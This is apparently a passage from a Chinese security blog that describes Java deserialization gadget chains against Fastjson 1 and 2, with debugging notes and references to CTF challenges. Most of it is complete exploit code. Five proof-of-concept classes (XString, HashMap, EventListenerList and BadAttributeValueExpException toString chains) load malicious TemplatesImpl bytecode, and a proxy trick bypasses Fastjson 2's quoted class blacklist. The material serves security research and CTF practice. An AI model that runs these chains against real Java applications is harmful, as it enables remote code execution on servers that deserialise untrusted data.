import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.util.HashMap;

public class HighVerToStringChain {
    public static void main(String[] args) throws Exception {
        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_bytecodes", new byte[][] {code});
        Utils.SetValue(obj, "_name", "0w0");
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(obj);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Utils.SetValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(obj,badAttributeValueExpException);

        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

在反序列化的过程当中,因为我们引入了Map类型,第一个 readObject 方法先将 template 进行一次恢复,然后再恢复BadAttributeValueExpException对象,而在恢复 BadAttributeValueExpException 对象的过程中,因为我们传入了 val 对应的 JSONArray/JSONObject 对象,所以会触发第二个 readObject 方法,将这个过程在给 SecrueObjectInputStream 处理,因为我们这是第二次恢复 Templateslmpl 对象,所以是引用类型,通过 readHandle 哈希表的时候不会触发 resolveClass,从而实现了绕过


XString 链

在 BadAttributeValueExpException 不可用时可以利用 XString 进行替代,需要结合 HotSwappableTargetSource 触发

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

[西湖论剑2023[easy_api]](/blog/2023/03/01/%E8%A5%BF%E6%B9%96%E8%AE%BA%E 5%89%912022-%E5%A4%8D%E7%8E%B0/#easy-api%EF%BC%88%E5%A4%8D%E7%8E%B0%EF%BC%89)

package com.example;


import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;

public class XStringChain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = Utils.getTemplatesImpl();

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(obj);


        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

//        HashMap<Object,Object> hashMap = new HashMap<>();
//        hashMap.put(h1,h1);
//        hashMap.put(h2,h2);
//
//        Class clazz=h2.getClass();
//        Field transformerdeclaredField = clazz.getDeclaredField("target");
//        transformerdeclaredField.setAccessible(true);
//        transformerdeclaredField.set(h2,new XString("xxx"));
        
        HashMap<Object,Object> hashMap = makeMap(h1,h2);


        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);

    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Utils.SetValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Utils.SetValue(s, "table", tbl);
        return s;
    }
}

调试

在 HashMap#readObject 下断点,因为我们最外层就是 HashMap

这里下在 putVal,和 urldns 链一样(注意要把 IDEA 调试时的 toString 对象视图关掉)

image-20250217015819564

第二次调用putVal,这里的key是一个HotSwappableTargetSource,这个类充当跳板作用,调用它的 equals 方法:

image-20250217020106612

image-20250217020138925

注意这里我们通过反射把 target 修改为 XString 方法了

跟进

image-20250217020505833

在这里发现 toString 方法,从而接上链子


HashMap 链

作为 HotSwappableTargetSource 的替代品,完全使用 HashMap 达到 XString

调用栈:

equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:472, AbstractMap (java.util)
putVal:634, HashMap (java.util)
readObject:1397, HashMap (java.util)

唯一要提的点就是这里:

为了满足前面条件执行后面的 equals,需要构造两个 hash 值相等但不同的 hashmap,于是 cc7 里提到的 java 特性又派上用场了:

h1.put("zZ", jsonArray);
h1.put("yy", xString);
h2.put("zZ", xString);
h2.put("yy", jsonArray);

exp:

package com.example;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;

public class HashMapChain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl tpl = Utils.getTemplatesImpl();
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(tpl);

        XString xString = new XString("xxx");
        HashMap h1 = new HashMap();
        HashMap h2 = new HashMap();
        h1.put("zZ", jsonArray);
        h1.put("yy", xString);
        h2.put("zZ", xString);
        h2.put("yy", jsonArray);

//        HashMap<Object,Object> hashMap = new HashMap<>();
//        hashMap.put(h1,h1);
//        hashMap.put(h2,h2);
//
//        Utils.SetValue(h2,"target",new XString("xxx"));
        HashMap evilMap = makeMap(h1, h2);

        String barr = Utils.Serialize(evilMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Utils.SetValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Utils.SetValue(s, "table", tbl);
        return s;
    }
}

EventListenerList链

https://xz.aliyun.com/news/15977

http://www.bmth666.cn/2024/03/31/%E7%AC%AC%E4%BA%8C%E5%B1%8A-AliyunCTF-chain17%E5%A4%8D%E7%8E%B0/index.html

前半段链子使用 eventListenerList 触发 toString:

EventListenerList --> 
UndoManager#toString() -->
Vector#toString()

然后 toString 就连上了

poc:

package com.example;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.util.Vector;
import java.util.HashMap;


public class EventListenerListChain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = Utils.getTemplatesImpl();
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(obj);

        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) Utils.getFieldValue(undoManager, "edits");
        vector.add(jsonArray);
        Utils.SetValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

        HashMap hashMap = new HashMap();
        hashMap.put(obj,eventListenerList);

        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

调试

EventListenerList#readObject 这里下断点,可以发现是在执行 add((Class<EventListener>)Class.forName(name, true, cl), l); 后触发 exp 的

跟进 add,来到判断处

注意到这里抛出错误时把字符串和 UndoManager 的 object 拼一起了,那么会自动触发这个对象的 toString 方法,这个在 PHP 的 __toString 魔术方法里倒是很基础的一个点,同样也适用于 Java

然后这里的 l 我们明显是可控的:EventListener l = (EventListener)s.readObject();

看一下 EventListener 支持一个怎样的序列化流:

// Serialization support.
private void writeObject(ObjectOutputStream s) throws IOException {
    Object[] lList = listenerList;
    s.defaultWriteObject();

    // Save the non-null event listeners:
    for (int i = 0; i < lList.length; i+=2) {
        Class<?> t = (Class)lList[i];
        EventListener l = (EventListener)lList[i+1];
        if ((l!=null) && (l instanceof Serializable)) {
            s.writeObject(t.getName());
            s.writeObject(l);
        }
    }

    s.writeObject(null);
}

要求是一个能够强制转换为 EventListener 类型的类,并且实现 Serializable 接口

Ctrl+H 查找一下继承了 EventListener 的子类

在 UndoableEditListener 接口下找到 UndoManager,观察它的 toString 方法

两个参数均为 int 类型,看一下其父类 CompoundEdit

一个 boolean 对象和一个 Vector 对象,那么我们只能看一下 Vector 类了

跟到父类 java.util.AbstractCollection#toString

这里相关的是

StringBuilder sb = new StringBuilder();
E e = it.next();
sb.append(e == this ? "(this Collection)" : e);

看一下 StringBuilder#append

跟一下 valueOf

至此连上了,我们只需要修改 edits 连上后半部分的链子即可


FastJson 2

通杀

https://xz.aliyun.com/news/18701

和隔壁 Jackson jdk 17 的链子一个原理

在 fastjson 2.0.27 中作者引入了黑名单,对反序列化进行防御:

static boolean ignore(Class objectClass) {
        if (objectClass == null) {
            return true;
        } else {
            switch (objectClass.getName()) {
                case "javassist.CtNewClass":
                case "javassist.CtNewNestedClass":
                case "javassist.CtClass":
                case "javassist.CtConstructor":
                case "javassist.CtMethod":
                case "org.apache.ibatis.javassist.CtNewClass":
                case "org.apache.ibatis.javassist.CtClass":
                case "org.apache.ibatis.javassist.CtConstructor":
                case "org.apache.ibatis.javassist.CtMethod":
                case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
                case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":
                case "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl":
                case "org.apache.wicket.util.io.DeferredFileOutputStream":
                case "org.apache.xalan.xsltc.trax.TemplatesImpl":
                case "org.apache.xalan.xsltc.runtime.AbstractTranslet":
                case "org.apache.xalan.xsltc.trax.TransformerFactoryImpl":
                case "org.apache.commons.collections.functors.ChainedTransformer":
                    return true;
                default:
                    return false;
            }
        }
    }

直接 JdkDynamicAopProxy 代理成 Templates 就绕过了

package com.fastjson2;  
  
import com.alibaba.fastjson2.JSONArray;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.example.Utils;  
  
import javax.management.BadAttributeValueExpException;  
import javax.xml.transform.Templates;  
import java.lang.reflect.Proxy;  
import java.util.ArrayList;  
  
public class Fastjson2Chain {  
    public static void main(String[] args) throws Exception {  
  
        TemplatesImpl templates = Utils.getTemplatesImpl();  
        Proxy proxy = (Proxy) Utils.getBProxy(templates, new Class[]{Templates.class});  
        JSONArray jsonArray = new JSONArray();  
        jsonArray.add(proxy);  
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);  
        Utils.SetValue(badAttributeValueExpException, "val", jsonArray);  
        ArrayList list = new ArrayList();  
        list.add(proxy);  
        list.add(badAttributeValueExpException);  
          
//        EventListenerList eventListenerList = new EventListenerList();  
//        UndoManager undoManager = new UndoManager();  
//        Vector vector = (Vector) Utils.getFieldValue(undoManager, "edits");  
//        vector.add(jsonArray);  
//        Utils.SetValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});  
//  
//        HashMap hashMap = new HashMap();  
//        hashMap.put(proxy,eventListenerList);  
  
        String exp = Utils.Serialize(list);  
        System.out.println(exp);  
        Utils.UnSerialize(exp);  
    }  
}